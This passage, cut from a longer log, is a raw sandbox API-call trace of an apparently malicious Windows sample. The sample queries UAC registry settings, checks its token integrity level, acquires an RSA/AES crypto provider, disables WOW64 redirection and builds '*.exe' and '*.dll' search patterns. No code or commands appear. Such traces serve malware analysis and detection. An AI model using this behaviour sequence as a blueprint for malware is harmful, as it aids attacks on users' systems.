(HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec558 [0259.525] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.525] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2d8 [0259.525] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec438 [0259.525] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.525] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec5a0 [0259.525] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec5a0) returned 1 [0259.525] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec5a0 [0259.525] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec5a0) returned 1 [0259.525] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec5a0 [0259.525] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec5a0) returned 1 [0259.525] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec5a0 [0259.525] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec5a0) returned 1 [0259.525] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec5a0 [0259.525] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec5a0) returned 1 [0259.525] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec5a0 [0259.525] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec5a0) returned 1 [0259.525] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec5a0 [0259.525] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec5a0) returned 1 [0259.525] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec5a0 [0259.525] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec5a0) returned 1 [0259.525] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec5a0 [0259.525] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.525] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed1f8) returned 1 [0259.525] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec240) returned 1 [0259.525] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed1e8) returned 1 [0259.525] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.525] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed208) returned 1 [0259.525] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec168) returned 1 [0259.525] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed218) returned 1 [0259.525] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec1b0) returned 1 [0259.525] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0259.525] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x8ec480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x8ec480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0259.526] RegCloseKey (hKey=0x38) returned 0x0 [0259.526] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x38) returned 1 [0259.526] GetTokenInformation (in: TokenHandle=0x38, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0259.526] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0xc4) returned 1 [0259.526] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0259.526] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec5a0 [0259.526] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x8ec5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0x8ec5a0, ReturnLength=0x18fbfc) returned 1 [0259.526] GetSidSubAuthorityCount (pSid=0x8ec5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x8ec5a9 [0259.526] GetSidSubAuthority (pSid=0x8ec5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x8ec5b0 [0259.526] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec5a0) returned 1 [0259.526] NtClose (Handle=0xc4) returned 0x0 [0259.526] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0259.526] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x6c) returned 0x8eb860 [0259.526] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec5a0 [0259.526] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xc4 [0259.526] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec480 [0259.526] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec438 [0259.526] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec558 [0259.526] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec510 [0259.526] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x5000) returned 0xdf0048 [0259.527] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec4c8 [0259.527] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec4c8) returned 1 [0259.527] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x2a2838) returned 1 [0259.579] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf0048) returned 1 [0259.579] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8eb8d8 [0259.579] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8eb960 [0259.580] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec4c8 [0259.580] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8eb9e8 [0259.580] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8eba70 [0259.580] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec3f0 [0259.580] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebaf8 [0259.580] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec3a8 [0259.580] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x5000) returned 0xdf0048 [0259.580] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec360 [0259.580] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec360) returned 1 [0259.580] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0259.627] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf0048) returned 1 [0259.627] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x29cbb0, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0259.627] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec360 [0259.627] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0259.627] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec360) returned 1 [0259.627] GetLastError () returned 0x0 [0259.628] LocalFree (hMem=0x29cbb0) returned 0x0 [0259.628] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec360 [0259.628] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x5000) returned 0xdf0048 [0259.628] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec318 [0259.628] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec318) returned 1 [0259.628] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0259.629] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf0048) returned 1 [0259.629] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x29cbb0, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0259.629] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec318 [0259.629] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x114 [0259.630] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec318) returned 1 [0259.630] GetLastError () returned 0x0 [0259.630] LocalFree (hMem=0x29cbb0) returned 0x0 [0259.630] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec318 [0259.630] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x5000) returned 0xdf0048 [0259.630] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec2d0 [0259.630] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec2d0) returned 1 [0259.630] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0259.632] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf0048) returned 1 [0259.632] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x29cbb0, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0259.632] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec2d0 [0259.632] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x118 [0259.632] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec2d0) returned 1 [0259.632] GetLastError () returned 0x0 [0259.632] LocalFree (hMem=0x29cbb0) returned 0x0 [0259.632] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x2800) returned 0xdf0048 [0259.632] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebb80 [0259.632] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec2d0 [0259.632] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0259.632] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x2800) returned 0xdf2850 [0259.632] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.632] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.632] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8ed5e8 [0259.632] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2d8 [0259.632] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.632] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1f8 [0259.632] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec1f8) returned 1 [0259.632] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.632] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2d8) returned 1 [0259.632] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed5e8) returned 1 [0259.632] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf2850) returned 1 [0259.632] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x2800) returned 0xdf2850 [0259.632] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.632] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.632] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.632] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8ed5e8 [0259.632] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2d8 [0259.632] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1f8 [0259.632] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2c8 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8ed600 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2b8 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1b0 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2a8 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec168 [0259.633] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec1f8) returned 1 [0259.633] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2d8) returned 1 [0259.633] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.633] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2c8) returned 1 [0259.633] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed5e8) returned 1 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.633] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.633] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8ed5e8 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2c8 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2d8 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1f8 [0259.633] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec1b0) returned 1 [0259.633] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2b8) returned 1 [0259.633] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec168) returned 1 [0259.633] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2a8) returned 1 [0259.633] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed600) returned 1 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8ed600 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2a8 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec168 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2b8 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1b0 [0259.633] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.633] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2c8) returned 1 [0259.633] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec1f8) returned 1 [0259.633] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2d8) returned 1 [0259.633] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed5e8) returned 1 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8ed5e8 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2d8 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1f8 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2c8 [0259.633] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.634] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec168) returned 1 [0259.634] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2a8) returned 1 [0259.634] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec1b0) returned 1 [0259.634] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2b8) returned 1 [0259.634] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed600) returned 1 [0259.634] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf2850) returned 1 [0259.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0259.634] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ed9d0 [0259.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec1f8, cbMultiByte=5, lpWideCharStr=0x8ed9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0259.634] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8eda58 [0259.634] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed9d0) returned 1 [0259.634] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8ed600 [0259.634] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2b8 [0259.634] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ed9d0 [0259.634] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eda58) returned 1 [0259.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0259.634] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8eda58 [0259.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec288, cbMultiByte=5, lpWideCharStr=0x8eda58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0259.634] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edae0 [0259.634] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eda58) returned 1 [0259.634] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2a8 [0259.634] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8eda58 [0259.634] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8edae0) returned 1 [0259.634] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec1f8) returned 1 [0259.634] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2d8) returned 1 [0259.634] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.634] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2c8) returned 1 [0259.634] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed5e8) returned 1 [0259.634] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x2800) returned 0xdf2850 [0259.634] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.634] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.634] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.634] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8ed5e8 [0259.634] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2c8 [0259.634] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1f8 [0259.634] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.634] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2d8 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1b0 [0259.635] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed298 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec168 [0259.635] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed288 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.635] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x20) returned 0x8ebc08 [0259.635] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed5e8) returned 1 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed278 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec240 [0259.635] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed268 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.635] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed258 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x20) returned 0xdf5058 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed248 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec5e8 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed238 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec630 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed228 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec678 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed218 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec6c0 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed208 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec708 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed1e8 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec750 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed1f8 [0259.635] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec798 